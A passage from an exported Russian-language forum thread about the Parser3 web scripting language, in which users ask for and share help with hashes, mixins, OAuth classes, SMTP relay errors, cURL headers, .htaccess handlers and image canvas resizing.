"81594","[quote]можно ли сделать передачу в эти методы хеша, с ключами-именами колоннок?[/quote]\
\
Сделано для append и insert (в HEAD и ночных сборках). Ну а update пишется в одну строку, ^h.foreach[k;v]{ $table.$k[$v] }, не вижу особого смысла метод заводить."
"81596","собрал в VS2010, проверил только запуском из командной строки, выложил рядом с предыдущей head версией, проверяйте."
"81597","Ничего не надо добавлять, всего достаточно!"
"81598","Поделитесь если не жалко.\
\
Интересуют: Вконтакте, Facebook"
"81599","Вот файлик [url=\"http://www.parser.ru/f/1/examples/social/oauth.zip\"]oauth.zip[/url]. В нем несколько классов (для twitter -- вроде, уже не рабочий).\
Использовать примерно так:[code]\
$external[^oauth_vk::init[\
$.client_id[...]\
$.client_secret[...]\
$.redirect_uri[http://$env:SERVER_NAME/путь к этой странице]\
]]\
^external.login[]\
^if($external.data){\
# Все, что получит будет в $external.data.\
# Плюс можно получать данные через метод ^external.get[id] с унифицированными параметрами (id, username, name, gender, birthday, email)\
}[/code]\
\
\
Для odnoklassniki еще нужно передавать параметр [code]$.application_key[...][/code]"
"81601","[quote]В работе Parser произошла ошибка:\
The mail server doesn't like the name coel@ya.ru. Have you set the 'To: ' field correctly?\
Ошибку вызвал этот фрагмент:\
send[/quote]\
\
[code]^mail:send[\
	$.from[Робот <robot@dubophone.ru>]\
	$.to[$name <$email>]\
	$.subject[Сообщение]\
	$.html{<p>Внимание! <strong>Тестовое сообщение</strong>.</p>}\
][/code]\
\
Здравствуйте! Снова мне потребовалась помощь зала. На домашнем веб-сервере раньше почта ходила исправно. В конфигурационном файле был указан SMTP-сервер провайдера, которые перенаправляет трафик во внешний мир. С тех пор настройки на моем сервере не менялись. И все работало, пока мне снова, где-то через год не понадобилось поковыряться с MAIL SEND.\
В итоге стал звонить прову. У них все нормально. Посоветовали менять на запасные SMTP-сервера, но результат тот же.\
Причем сервер пингуется и отвечает по Telnet'у на 25-ый порт успешно.\
В связи со всем этим вопрос: как можно посмотреть отладку какую-нибудь у Парсера, чтобы можно было разобраться в чем действительно причина?\
[b]P.S.[/b]: В черном списке у провайдера моего IP нет, это я узнавал."
"81602","На некоторых хостингах отправка почты падает с ошибкой в случае, если в конфигурационном auto.p напрямую задать $MAIL[$.SMTP[адрес SMTP-сервера провайдера]]\
При этом, если строку закомментировать, всё ок (выяснено методом научного тыка и основано на горьком жизненном опыте)."
"81604","SMTP простой протокол, думаю проще всего повторить проблему через telnet, у вас ошибка возникает на стадии rcpt to, \
введите данные из своего письма и посмотрите, что будет за ошибка...\
\
telnet mail 25\
220 mail ESMTP Postfix\
>helo mail\
250 mail.design.ru\
>mail from: <test@test.com>\
250 2.1.0 Ok\
>rcpt to: <test@test.com>\
250 2.1.5 Ok"
"81605","[quote]telnet mailgw.nnz-home.ru 25\
220 mailgw.at-home.ru ESMTP\
helo mailgw.nnz-home.ru\
250 mailgw.at-home.ru\
mail from: coel@ya.ru\
250 2.1.0 Ok\
rcpt to: coel@ya.ru\
554 5.7.1 <coel@ya.ru>: Relay access denied[/quote]\
Как быть? Получается это у провайдера все же проблемка?"
"81606","Возможно провайдер разрешает чтобы в mail from: были только адреса с его локальных доменов. И да, правильнее послать этот лог провайдеру и спросить его, что делать, чем постить это в форум о парсере. :)"
"81607","Ну теперь уже да, когда хоть что-то прояснилось. :) Спасибо за помощь!"
"81608","Здравствуйте, ткните пожалуйста в архив предыдущих версий\
не могу найти Parser/3.2.1sp2 (compiled on i386-unknown-freebsd6.1)\
\
и для freebsd 9x поздних Parser/3.2.1sp2"
"81609","[quote]не могу найти Parser/3.2.1sp2 (compiled on i386-unknown-freebsd6.1)[/quote]\
\
http://www.parser.ru/f/1/download/freebsd6/parser3_2_1_freebsd61R_cgi_xml.tar.gz\
\
[quote]и для freebsd 9x поздних Parser/3.2.1sp2[/quote]\
\
В 2006 году FreeBSD9 еще не вышла. :) Ну и compat6x никто не отменял, если что."
"81610","Премного благодарен"
"81611","Здравствуйте, подскажите пожалуйста как реализовать следующее:\
\
На сервере имеются папки (дерево папок ниже)\
[code]сайт / папка1 / папка2 / name_files.cfg\
сайт / папка1 / папка3 / name_files.cfg\
сайт / папка1 / папка4 / name_files.cfg  [/code]\
\
папка1 содержит различный \"подпапки\" в который лежит файл (с одинаковым именем, но разным наполнением), задача вывести данные с этого файла.\
\
Для иерархии которая выше я написал код, который работает: (на сколько он правильно написан не знаю, но он работает :))\
[code]@names_[papka][result;sections]\
$sections[^table::load[/папка1/${papka}/name_files.cfg]]\
^sections.menu{^names_cell[$sections]}[/code]\
\
Вывожу данные файлов name_files.cfg кодом:\
[code]^names_[папка2]\
^names_[папка3][/code]\
\
Тут вроде все нормально, а вот, как сделать тоже самое только для другой иерархии догнать не могу (дерево папок ниже).\
\
[code]сайт / папка 1 / папка 2 / папка 3 / name_files.cfg\
сайт / папка 1 / папка 4 / папка 5 / name_files.cfg\
сайт / папка 1 / папка 6 / папка 7 / name_files.cfg[/code]\
\
Т.е. папка 1 содержит разные \"подпапки\" в которых находятся еще \"подпапки\" и только потом находится name_files.cfg (имя файла одинакого, а наполнение разное)\
Я не могу догнать как исправить код который выше (или написать другой), что данные с файла name_files.cfg выводились не смотря на то, что файл находится от папки1 в 2-ух различных папок.\
\
Пробовал так (неполучилосЬ):\
[code]@names_[papka][result;sections]\
$sections[^table::load[/папка1/${papka}/${papka2}/name_files.cfg]]\
^sections.menu{^names_cell[$sections]}[/code]\
\
Вывод:\
[code]^names_[папка2][папка3][/code]\
\
Подскажите пожалуйста, где ошибка.\
Спасибо!"
"81612","Подскажите пожалуйста."
"81613","[code]@names_[papka;papka2][result;sections]\
$sections[^table::load[/папка1/${papka}/^if(def $papka2){${papka2}/}name_files.cfg]]\
^sections.menu{^names_cell[$sections]}[/code]"
"81619","Я бы только добавил возможность удалять свои сообщения ДО того, как на них кто-либо ответил, иногда бывает актуально (я не о вашем комментарии конечно :) а о своих, бывает пойму ответ раньше, чем кто-то ответит)."
"81623","Зачем удалять?\
\
Нашли решение раньше других, напишите ответом на свой же вопрос.\
\
Потом, когда кто-нибудь будет искать решение похожей проблемы найдёт ваше сообщение и прочитает."
"81624","Как всегда бывает, помнишь что где-то что-то было, потом начинаешь искать и прочитываешь кучу хлама.\
\
Сейчас в основном ищу в Google:\
\
[code]site:parser.ru/forum/ фраза[/code]\
\
Было бы неплохо в текстах кодов для объектов и методов делать ссылки на соответствующие страницы туториала для новичков.\
\
Вообще было бы неплохо встряхнуть сообщество, а то как будто никто ничего не пишет, но это ведь не так.\
\
Может сдружить сайт с Git-ом и туда перекинуть все примеры и вести их дальнейшее развитие."
"81625","И было бы неплохо добавить возможность плюсовать хорошие посты и минусовать плохие по аналогии с Хабром. Очень не хватает."
"81628","Дабы не тыкаться эмпирическим опытом, \
хочу спросить как отрабатывается такая ситуация и как лучше делать, чтобы\
не наступить на грабли, и плодить меньше мусора?\
\
Ситуация: вызванный метод, что-то делает и присваивает хеш, какому-то внутреннему (self) объекту класса.\
\
[code]\
@create[]\
  $self.hsh[]\
  ^method[argument_string]\
\
@method[_arg][locals]\
#...\
  $_tmp[\
    $.a[A]\
    $.b[B]\
  ]\
  $self.hsh[$_tmp]\
[/code]\
\
[i]Вопрос:[/i] \
Т.к. содержимое $self.hsh является не копией, \
а ссылкой на тот же хеш, что и в $_tmp, а $_tmp - локальная переменная метода. \
\
То что будет по завершению метода? \
Стоит ли беспокоиться, что: \
\
$_tmp (залипнет в памяти), или что возможно какое-то обращение к $_tmp, которое перетрёт $self.hsh ?\
\
Или просто $_tmp как ссылка на хеш - исчезнет по завершению метода, и по сути $self.hsh - останется единственным носителем ссылки на хеш?"
"81629","[quote]Или просто $_tmp как ссылка на хеш - исчезнет по завершению метода, и по сути $self.hsh - останется единственным носителем ссылки на хеш?[/quote]\
\
именно так."
"81631","Как-то задавал вопрос по парсингу данных из форм.\
\
В итоге нашлось решение:\
которое парсит [b]name[1][2]=value[/b].. в многовложенный хеш,\
\
мне надо примерно тоже самое, но разделитель (точка), т.е. шаблон вида:\
 [b]name.a.b.c=value[/b]  должен преобразоваться в многовложенный хеш.\
\
Каюсь, с регулярками дружу пока плохо, чтобы без граблей быть уверенным, \
да и мысли, что в моем случае split может оказаться быстрее, \
а значит код наверное значительно может похудеть?\
\
Плюс ко всему \"синтаксис\" как бы совпадает с нативным у парсера, и может можно и вовсе,\
как-то безопасно транслировать в код.\
\
\
Факты: сам уже наигрался с \"ручным\" парсингом и циклами в хеше и убедился как быстро можно отожрать производительность. \
\
И поэтому призываю гуру помочь.\
\
\
-----\
P.S.: \
\
Собственно найденый мной код для name[1][2]=value \
\
[code]\
@CLASS\
serialForm\
\
@getData[][names]\
	$self.data[^hash::create[]]\
	$hBlackList[$.action[1]]\
	$oRegex[^regex::create[\\^[([^^\\^]]+)\\^]][g']]\
	^form:fields.foreach[field;value]{\
		^if(!def $hBlackList.$field){\
			^self.parseData[$field;$value]\
		}\
	}\
	$result[$self.data]\
	\
@parseData[field;value][t;h]\
$t[^field.match[$oRegex]]\
^if(def $t.prematch){\
	$h[^create[$self.data;$t.prematch]]\
	^t.menu{\
		^if(^t.line[] == $t){\
			$h.[$t.1][$value]\
		}{\
			$h[^create[$h;$t.1]]\
		}\
	}\
}{\
	$self.data.[$field][$value]\
}\
\
\
@create[h;k]\
^if(!($h.$k is \"hash\")){\
	$h.[$k][^hash::create[]]\
}\
$result[$h.$k]\
[/code]"
"81632","Здравствуйте, подскажите как решить одну проблему со стандартной статистикой от хостинга.\
\
Сайт находится на хостинге рег.ру, в корне сайта есть папка сайт/webstat — как я понимаю это стандартная статистка (хостера) по данным http://www.awstats.org/\
Проблема в том, что при открытии страницы webstat парсер выдает ошибку.\
\
[code][Mon Sep 21 02:32:16 2015] [27117] /webstat/: '/var/www/**************/data/www/**************/webstat/index.html' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/var/www/**************/data/www/**************/webstat/index.html', fuid(0)!=euid(1839) or fgid(0)!=egid(1839) [parser.runtime] [uri=/webstat/, method=GET, cl=0][/code]\
\
Как я понимаю парсер не может прочитать файл по адресу — /webstat/index.html, а как сделать так, чтоб он все таки его почитал?"
"81633","[code]\
@main[]\
$h[^hash::create[]]\
^parseData[$h;name.a.b.c;value1]\
^parseData[$h;name.a.b.d;value2]\
^parseData[$h;name0;value]\
^parseData[$h;;value]\
\
^dstop[$h]\
\
\
\
@parseData[data;field;value][result;t;h;i]\
$t[^field.split[.][lv]]\
^switch($t){\
	^case(0){\
		$data.[$VOID][$value]\
	}\
	^case(1){\
		$data.[$t.piece][$value]\
	}\
	^case[DEFAULT]{\
		$h[^self.create[$data;$t.piece]]\
		^t.offset[set](1)\
		^for[i](1;$t-2){\
			$h[^self.create[$h;$t.piece]]\
			^t.offset[cur](1)\
		}\
		$h.[$t.piece][$value]\
	}\
}\
\
\
@create[h;k][result]\
^if(!($h.$k is \"hash\")){$h.[$k][^hash::create[]]}\
$h.$k\
[/code]\
\
P.S. на красоту и лаконичность не претендую"
"81634","Очевидно,  в папке /webstat находится файл index.html, который:\
a) создан системным сервисом хостера, поэтому имеет другого владельца/права на файл и на это ругается парсер\
\
b) содержит обычный html, а не код на парсере, стало быть в любом случае может споткнуться при попытке выполнить его как код на парсер.\
\
В конфиге вебсервера или в вашем случае, скорее всего, в файле .htaccess – парсер назначен как обработчик (AddHandler) для всех файлов .html\
\
Решение в том же .htaccess:\
\
По–хорошему, надо наверное  исключить папку /webstat из под действия Парсер–обработчика.\
\
По–простому: изменить расширение для файлов, которые попадают под обработчик кода на парсере, например на phtml, или htm, чтобы файлы с кодом на парсер не пересекались с обычным html-кодом.\
\
По аналогии как файлы .php выделены специально под PHP."
"81635","Дзен типа switch по объекту table..."
"81638","Что в данном случае происходит когда result в locals ?\
Тело метода становится результатом принудительно, а упоминание $result[] отменяет свою встроенную функцию или что вообще происходит?"
"81641","Что-то стряпаю рекурсивное, но получается какая-то уродина..."
"81645","А ругается просто из-за того что синтаксис скорее всего не проходит ).\
Гуглить RemoveHandler htaccess\
\
Скорее всего должно хватить и этого\
[code]RemoveHandler html[/code]"
"81646","Реализовано в HEAD версии. Теперь в парсере поддерживаются даты от 0000-00-00 00:00:00 до 9999-12-31 23:59:59. Где такой диапазон поддерживается OS используется системная реализация, в остальных случаях для стандартного диапазона дат используется системные функции, для расширенного диапазона - собственная реализация (разница в отсутствии поддержки истории перевода часов в разные года). Кроме того, добавлена поддержка дат в ISO формате (http://www.w3.org/TR/NOTE-datetime), что например позволяет создавать даты в UTC времени (1997-07-16T19:20:30Z)."
"81649","Не глядя на даты, вообще не понятно, кто первый ответил, а кто уже на основе этой мысли продолжил."
"81650","В документации без кавычек, но в примерах кода на форуме встречаю в кавычках."
"81651","В кавычках нужно писать если в имени класса есть какой-нибудь символ, имеющий особое значение в выражении. Например, минус."
"81654","[code]\
@main[]\
\
$hsh[\
     $.a[A]\
     $.b[\
          $.1[B1]\
          $.2[B2]\
     ]\
     $.c[C]\
]\
\
^Hash_Serial[$hsh]\
\
# хочется, чтобы возвращало a=A&b.1=B1&b.2=B2&c=C\
\
\
@Hash_Serial[_data;_key;_result][locals]\
\
^sys:Debug[$_key;_key]\
\
^if($_data is hash){\
    ^_data.foreach[k;v]{\
        $_key[${_key}.${k}]\
        $_result[^Hash_Serial[$v;$_key;$_result]]\
    }\
}{\
    $_key[^_key.trim[left;.]]\
    $_result[$_result&$_key=$_data]\
    $_result[^_result.trim[left;&]]\
\
    $result[$_result]\
\
    ^sys:Debug[$_result;_result]\
}\
\
\
\
# рабочего результата не добился, и не оптимизировал присвоения для читабельности\
# есть поток отладчика в местах ^sys:Debug[var;comment] :\
# который показывает, промежуточные \"успехи\"... где видно, что\
# $_key ключи продолжают собираться, дальше чем надо\
# $_result - накапливается и теряется на последнем ключе \
\
COMMENT: VAR_VALUE                  CLASS\
\
   _key:                            <void>\
   _key: .a                         <string>\
_result: a=A                        <string>\
   _key: .a.b                       <string>\
   _key: .a.b.1                     <string>\
_result: a=A&a.b.1=B1               <string>\
   _key: .a.b.1.2                   <string>\
_result: a=A&a.b.1=B1&a.b.1.2=B2    <string>\
   _key: .a.b.c                     <string>\
_result: a.b.c=C                    <string>\
\
[/code]"
"81656","[code]\
@main[]\
$hsh[\
     $.a[A]\
     $.b[\
          $.1[B1]\
          $.2[B2]\
          $.3[$.6[b5] $.7[b8]]\
     ]\
     $.c[C]\
]\
^h2q[$hsh]\
\
\
@h2q[aData;aPrefix][locals]\
  $result[^aData.foreach[k;v]{^if($v is hash){^h2q[$v;${aPrefix}${k}.]}{${aPrefix}$k=$v}}[&]]\
[/code]"
"81657","Прототип собираю, голова забилась глобальными структурами и абстракциями, зато в итоге совершенно переклинило на предмет мелких алгоритмов. \
\
Но результат все равно короче ожиданий.\
Хотя ведь все понятно, что происходит, но запутался все равно на ровном месте в задаче.\
\
Наверное даже пузырьковую сортировку не сделаю по памяти..."
"81658","Суть задачи: \
хочу через методы класса изолировать/ограничить работу с неким хешем-окружением, дав\
на создание/запись только доступную для этого часть/подструктуру (этого хеша).\
\
В принципе тут даже не суть свойствами или методами, красивее оно уже все равно особо не станет из-за известной проблемы:\
невозможность нативной трансляции объекта/пути_объекта obj.a.b, т.е. в параметр свойства\
приходит просто строка с точками, поэтому видимо только process.\
\
Но, где-то теряется объект, не пойму где. \
При попытке присвоить значение получаю <void>\
\
\
Для упрощения использую в примере просто методы:\
\
[code]\
@main[]\
   $MyObj[^MyClass::create[]]\
\
   ^MyObj.getEnv[]\
   ^MyObj.getEnv[a]\
   ^MyObj.getEnv[b.1]\
\
   ^MyObj.setEnv[c;$.1[c1]]   ^rem{# получаю $_env.c со значнием <void>, вместо $_env.c.1[c1]  }\
\
@CLASS\
MyClass\
\
@create[]\
   $self._env[\
     $.a[         \
       $.1[a1]\
       $.2[a2]\
     ]\
             \
     $.b[         \
       $.1[b1]\
       $.2[b2]\
     ]\
   ]\
\
@getEnv[_obj][locals]\
   $result[^process{^$self._env^if(def $_obj){.$_obj}}]\
 \
@setEnv[_obj;_value][locals]\
   ^if(def $_obj){\
      ^process{^$self._env.$_obj^[^$_value^]}\
   }\
$result[]\
\
[/code]\
\
[i]UPD: Ага, прочитал... локальные переменные не доступны ^process\
и как быть тогда? Ведь аргументы локальны всегда.[/i]\
\
Сделал костыль, вида:\
[code]\
@setEnv[_obj;_value][locals]\
$self._set_env_value[$_value]\
   ^if(def $_obj){\
      ^process{^$self._env.$_obj^[^$self._set_env_value^]}\
   }\
$result[]\
[/code]\
\
теперь работает, но как то это всё странно, как на самом то деле это разруливается?\
Хорошо если б еще и без process в обоих случаях (get/set)...\
\
\
P.S.: Тут, конечно основная задач не в изоляции, а совершении попутных действий при присвоении, которые не описаны в примере, т.к. в действительности никакой изоляции это, конечно, не дает, ведь получив подструктуру через getEnv - получаешь не копию, а ссылку, а стало быть можно и назначить и удалить всё, что получено через result из get...\
\
Равно как со свойством в данном случае, так и с методом, разницы нет.\
А копию отдавать... как-то память и скорость жалко."
"81659","Впервые столкнулся с необходимостью передать авторизационный HTTP-заголовок на oAuth 2 сервер - но никак не удается его отправить. Он просто не передается через cURL, его не принимает ни целевой сервер, ни свой собственный, тогда как сам POST запрос передается отлично.\
\
Подскажите пожалуйста, в чем может быть проблема?\
\
[code]\
\
$f[\
	^curl:load[\
		$.post(1)\
		$.url[https://api.twitter.com/1.1/statuses/update.json]\
		$.timeout(10)\
		$.ssl_verifypeer(0)\
		$.httpheader[\
			$.Authorization[aaa]\
		]\
	]\
]\
\
[/code]"
"81660","Передается. Добавляем $.verbose(1) и видим:\
\
[code]\
> ./curl_headers.p\
*   Trying 199.16.156.104...\
* Connected to api.twitter.com (199.16.156.104) port 443 (#0)\
* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH\
* successfully set certificate verify locations:\
*   CAfile: /usr/local/share/certs/ca-root-nss.crt\
  CApath: none\
* SSL connection using TLSv1.0 / AES128-SHA\
* Server certificate:\
* 	 subject: C=US; ST=California; L=San Francisco; O=Twitter, Inc.; OU=Twitter Security; CN=api.twitter.com\
* 	 start date: 2014-08-03 00:00:00 GMT\
* 	 expire date: 2016-12-31 23:59:59 GMT\
* 	 subjectAltName: api.twitter.com matched\
* 	 issuer: C=US; O=VeriSign, Inc.; OU=VeriSign Trust Network; OU=Terms of use at https://www.verisign.com/rpa (c)10; CN=VeriSign Class 3 Secure Server CA - G3\
* 	 SSL certificate verify ok.\
> POST /1.1/statuses/update.json HTTP/1.1\
Host: api.twitter.com\
Accept: */*\
Authorization: aaa\
Content-Length: 0\
Content-Type: application/x-www-form-urlencoded\
\
< HTTP/1.1 400 Bad Request\
< content-length: 62\
< content-type: application/json; charset=utf-8\
< date: Sat, 03 Oct 2015 21:01:33 GMT\
< server: tsa_b\
< set-cookie: guest_id=v1%3A144390609343860325; Domain=.twitter.com; Path=/; Expires=Mon, 02-Oct-2017 21:01:33 UTC\
< strict-transport-security: max-age=631138519\
< x-connection-hash: 325522d8f7476bf2f2a0de524eafd015\
< x-response-time: 4\
* HTTP error before end of send, stop sending\
<\
* Closing connection 0\
[/code]"
"81661","Проблема в том, что мой сервер заголовки в этом случае не отправляет. Единственный получаемый тестовой страницей заголовок - \"content-type - not printable\". При этом сам POST-запрос доставляется. Посоветуйте пожалуйста, что можно предпринять. Debian 7, парсер самый свежий."
"81662","Оп, проблема [i]видимо[/i] с установкой cURL:\
\
Content-Type: application/x-www-form-urlencoded\
\
* upload completely sent off: 13 out of 13 bytes\
[color=\"#ff0000\"]* additional stuff not fine transfer.c:1037: 0 0[/color]\
* HTTP 1.1 or later with persistent connection, pipelining supported\
< HTTP/1.1 400 Bad Request\
\
Но переустановка не помогает :-("
"81664","curl -v https://* работает, но показывает ту же ошибку \"* additional stuff not fine transfer.c:1037: 0 0\". А как передать заголовки через консоль я не знаю :-)"
"81665","http://curl.haxx.se/docs/httpscripting.html#Modify_method_and_headers"
"81667","curl --header \"Authorization: Aaa\" http://test/test8 --form press=ok\
\
Содержимое test8:\
[code]\
^tome[^rem{Отправляет мне в Телеграм}\
  ^response:headers.foreach[header;value]{ \
    $header - ^if($value is \"string\" || $value is \"int\" || $value is \"double\"){$value}{not printable} \
  }[<br />] \
  $p[$request:post-body]\
  $p.text\
]\
 [/code]\
Результат: \
\
content-type - not printable \
 \
 \
 --------------------------512c6b61969f0ac4 \
Content-Disposition: form-data; name=\"press\" \
 \
ok \
--------------------------512c6b61969f0ac4--\
\
\
Почему так?"
"81668","Я один не могу заходить в html-документацию? Кроме списка создателей ничего нет. Если перехожу по ссылке на определенный параграф, то контент видно несколько миллисекунд и снова появляется список создателей."
"81672","Да. Пробовал на айфоне и ПК (Яндекс.Браузер, Хром, даже Оперу специально установил)."
"81674","В Хроме и Опере. Примерно год назад. Так и не понял, в чём причина была."
"81675","А никто случайно не сталкивался с задачей по изменению размера картинок за счёт увеличения холста? \
Проще говоря, масштаб изображения остается прежним, размер холста по краям увеличивается и заливается цветом.\
Кажется, это называется фоновая интерполяция.\
\
Img.p прекрасен, но так не умеет.\
\
Никто не сталкивался?\
Никак не соображу, в какую сторону копать."
"81676","Программистский форум, как-никак."
"81677","Пусть выступает заменой хешу и хранит значения.\
А на доступ к его свойствам вешайте любой необходимый код.\
\
Разбирать строку по точкам и записывать в хэш тоже вполне реально без process.\
Даже примеры где-то были на форуме."
"81678","Решение для img.p в связке с nConvert. Если кто напишет по аналогии для imageMagik, будет совсем круто. \
\
[b]В img.p[/b]\
[code]\
######################################################\
\
@canvas[sFileSrc;sFileDest;sCanvasWidth;sCanvasHeight;hParams][tColor;fResult]\
\
$hParams[^self._prepareParams[$hParams]]\
\
^if(def $hParams.sBGColor){\
\
	$tColor[^hParams.sBGColor.split[,;lh]]\
\
	^self._checkColor[canvas;$tColor.0]\
	^self._checkColor[canvas;$tColor.1]\
	^self._checkColor[canvas;$tColor.2]\
}\
\
^if(!def $sCanvasWidth || !def $sCanvasHeight){\
\
	^throw[$sClassName;canvas;Canvas width and height MUST be specified]\
}\
\
^hParams.add[\
\
	^self._getFiles[canvas;$sFileSrc;$sFileDest;$hParams.sFormat;$hParams]\
\
	$.iR($tColor.0)\
	$.iG($tColor.1)\
	$.iB($tColor.2)\
\
	^if(!def $hParams.sPosition){\
\
		$.sPosition[center]\
	}\
\
	$.sCanvasWidth[$sCanvasWidth]\
	$.sCanvasHeight[$sCanvasHeight]\
]\
\
$fResult[^self._createDirAndExec[canvas;$hParams]]\
\
$result($fResult.status)\
\
######################################################\
[/code]\
\
[b]В nconvert.p в @_exec[][/b]\
\
[code]\
...\
	^case[canvas]{^file::exec[$hScript.$sAction;$hOptions;-o;$hParams.sOutput;-canvas;$hParams.sCanvasWidth;$hParams.sCanvasHeight;$hParams.sPosition;-bgcolor;$hParams.iR;$hParams.iG;$hParams.iB;^if($hParams.bRemoveMeta){-rmeta}{-quiet};-out;$hParams.sFormat;-q;$hParams.iQuality;^if($hParams.iColors){-colors}{-quiet};^if($hParams.iColors){$hParams.iColors}{-quiet};$hParams.sInput]}\
...\
[/code]\
\
[b]Параметры[/b]\
\
[code]\
^oImg.canvas[$sFileSrc;$sFileDest;$sCanvasWidth;$sCanvasHeight;$hParams]\
\
Здесь\
$sCanvasWidth     - ширина области (в px или %)\
$sCanvasHeight    - высота области (в px или %)\
\
$hParams          - хэш со следующими полями\
	$.sBGColor    - цвет фона (формат \"R,G,B\")\
	$.sPosition	  - позиция исходного изображения\
		top-left, left-top           : top-left\
		top-center, center-top       : top-center\
		top-right, right-top         : top-right\
		center-left, left-center     : center-left\
		center                       : center (по умолчанию)\
		center-right, right-center   : center-right\
		bottom-left, left-bottom     : bottom-left\
		bottom-center, center-bottom : bottom-center\
		bottom-right, right-bottom   : bottom-right\
	$.sFormat     - выходной формат\
	$.bRemoveMeta - флаг удаления метаданных\
	$.iQuality    - качество для jpg и png\
	$.iColors     - кол-во цветов (256, 216, 128, 64, 32, 16 или 8)\
[/code]\
\
Может быть, кому-нибудь пригодится."
"81679","Да... но это будет уже имитация объектного доступа и метапрограммирование в чистом виде... \
\
Нет, задача на самом деле не горит, пока для прототипирования \"и так сойдёт\" (c) \
\
но с каждым разом с какой бы стороны не пошёл, прихожу к тому что удобнее и нужнее это более гибкая/удобная работа с хешами."
"81680","Наверное, у человека стоит какой-нить активный \"антивирус\", который \"\"лечит\"\" js-скрипты на лету.\
\
А там во фрейме как раз какой-то редирект написан, хотя он вроде настолько legacy vanilla-js, насколько можно..."
"81681","Понятное дело, что мои хотелки не имеют корреляции с целями разработчиков Парсера.\
\
[i]Но просто, пока помню, и на правах \"пусть полежит\" или как тема для обсуждения о целесообразности их.[/i]\
\
Класс hash\
\
[code]\
#\
# Класс hash\
#\
\
1. Возможность сквозного автосоздания хеша \
(возможно включаемая в конфиге опция)\
\
$hsh.a.b.c[value]\
\
если $hsh не задан, и соответственно не заданы\
вложенные хеши a.b. - то конструкцией выше\
автоматически создаются хеши hsh.a.b при первом упоминании\
если хеши hsh.a.b уже есть, то они:\
\
a) не перетираются, как было бы в случае $hsh[$.a[$.b[$.c[10]]]]\
b) конструкция поддается динамическим манипуляциям без process\
\
# Причина\
Это очень часто пригождается, и в итоге каждый раз превращается\
в рекурсивный ад с итеративной проверкой на сущ.хеша и его пред-созданием.\
\
\
2. Глубокое копирование hash как разновидность конструктора\
\
$hash_copy[^hash::deep_copy[$hash_orig]]\
\
Да, реализация есть на самом парсере, но крутить эти циклы на каждый чих, \
лучше бы парсер это умел нативно. \
\
Алгоритм работы такой, чтобы копировал только \"статические\" ветки/ключи,\
во избежание зацикленности и неоднозначности.\
\
# Причина\
При создании приложения хочется генерить вложенные конфиги, структуры (меню, конфигурации, да много чего). \
И соответственно для их реализации хорошо подходят\
хеши, но при вложенности более 1 уровня, \
манипулцяии начинают превращаться в головную боль. \
Особенно, если проводить операция со множествами для многовложенной структуры.\
\
3. Операции вставки!\
\
^hash_orig._insert[key;value;offset/key;after/before]\
\
После того, как порядок ключей в хеше стал иметь значение,\
то хорошо бы иметь вставку в определенное место, а не пересоздавать хеш\
перебирая и сортируя ключи.\
\
Определенным местом может быть ключ с опцией after/before, может быть и индекс.\
\
4. Функции стека/очереди\
\
^hash_orig._push/_pop   и т.п.\
\
Вставка с вершины стека/очереди, а не в конец, как по-умолчанию.\
Соответственно, и в функции foreach - добавить обратный порядок перебора,\
чтобы можно было снимать значения с конца или начала.\
\
# Причина\
Реализация - событий, очередей - очень нужная штука\
\
5. Инвертирование порядка ключей хеша.\
\
^hash_orig._keys_inverse[]\
\
# Причина\
Очевидна.\
\
[/code]\
\
В последнее время таблицами почти не пользуюсь... \
Хеши почти во всем удобнее.\
Да и таблицы есть частный случай хеша по сути: список кортежей (строк с фикс.последовательностью и кол-вом ключей)"
"81682","[quote]1. Возможность сквозного автосоздания хеша [/quote]\
\
В самом парсере так сделать нельзя, поскольку при обращении к пустому элементу неправильно возвращать пустой хеш, а без этого не получится. Но на парсере это реализуется в несколько строк:\
\
[code]@main[]\
\
$o[^O::create[]]\
\
$o.a.b.c.d[test]\
$o.a.b.c.d\
\
@CLASS\
O\
\
@create[]\
\
@GET_DEFAULT[name]\
$result[^O::create[]]\
$self.$name[$result]\
[/code]\
\
[quote]2. Глубокое копирование hash как разновидность конструктора\
Да, реализация есть на самом парсере, но крутить эти циклы на каждый чих, \
лучше бы парсер это умел нативно. [/quote]\
\
Особой разницы в скорости не будет, максимум в раза в полтора.\
\
[quote]3. Операции вставки![/quote]\
\
Вот это пожалуй может быть, хотя мне если честно ни разу не было нужно. Но синтаксис надо продумывать, индекс/название ключа вероятно лучше первым.\
\
[quote]4. Функции стека/очереди[/quote]\
\
Все это замечательно реализуется и так, достаточно сделать ключами хеша числа.\
\
[code]@push[v]\
$n($stack+1)\
$stack.$n[$v]\
\
@pop[]\
$n($stack)\
$result[$stack.$n]\
^stack.delete[$n]\
[/code]\
\
В случае очереди будут кода понятно немного больше, будут два числа $head и $tail, но все равно это порядка десятка строк.\
\
[quote]5. Инвертирование порядка ключей хеша.\
Причина Очевидна.[/quote]\
\
Боюсь не мне. :)"
"81685","Единственное, что было бы действительно полезно — возможность делать mixin'ы в нативные классы.\
Тогда любое поведение можно было бы интегрировать.\
Опять же? есть partial.\
\
Но увы.\
И думаю, причин тому масса.\
\
Всё остальное нативному хешу не очень нужно."
"81686","При наличии ^reflection:fields[$self] прозрачный и почти такой же эффективный враппер над хешом пишется за минуты. Еще можно сделать чтобы при [ $.k[v] ] создавался не хеш, а пользовательский класс заданного типа, но только глобально и поэтому мне кажется это не очень хорошо. :)"
"81687","Пишется, конечно.\
\
Неудобны лишь те места, которые нативно возвращают хеш, или объекты других классов, которые хочется расширить.\
Но в принципе это мелочи."
"81688","Константин, а нет ли в планах расширения диапазона для int / double?\
Было бы полезно для работы с уникальными идентификаторами, конвертацией систем счисления."
"81689","... и решает проблему с отсутствием множественного наследования в языке. \
\
\
Накидал прототип:\
\
[code]\
@main[]\
  $o[^my::create[]]\
  ^o.print_var_1[]\
  ^o.print_var_2[]\
  ^o._inner_method[]\
\
  $o2[^my::create[]]\
  ^o2.print_var_1[]\
  ^o2.print_var_2[]\
  ^o2._inner_method[]\
\
  ^print_fields[$o2]\
\
# Динамический миксин\
  $o3[^my2::create[]]\
  ^mix2:include_mixin[$o3]\
  $o3.var_1[value_3]\
  ^o3.print_var_1[]\
  ^o3.print_var_2[]\
  ^print_fields[$o3]\
\
@print_fields[aObj][locals]\
  $f[^reflection:fields[$aObj]]\
  ^f.foreach[k;_]{\
    $k\
  }\
\
\
@CLASS\
my\
\
@create[]\
  ^mix2:include_mixin[]\
  ^mix3:include_mixin[]\
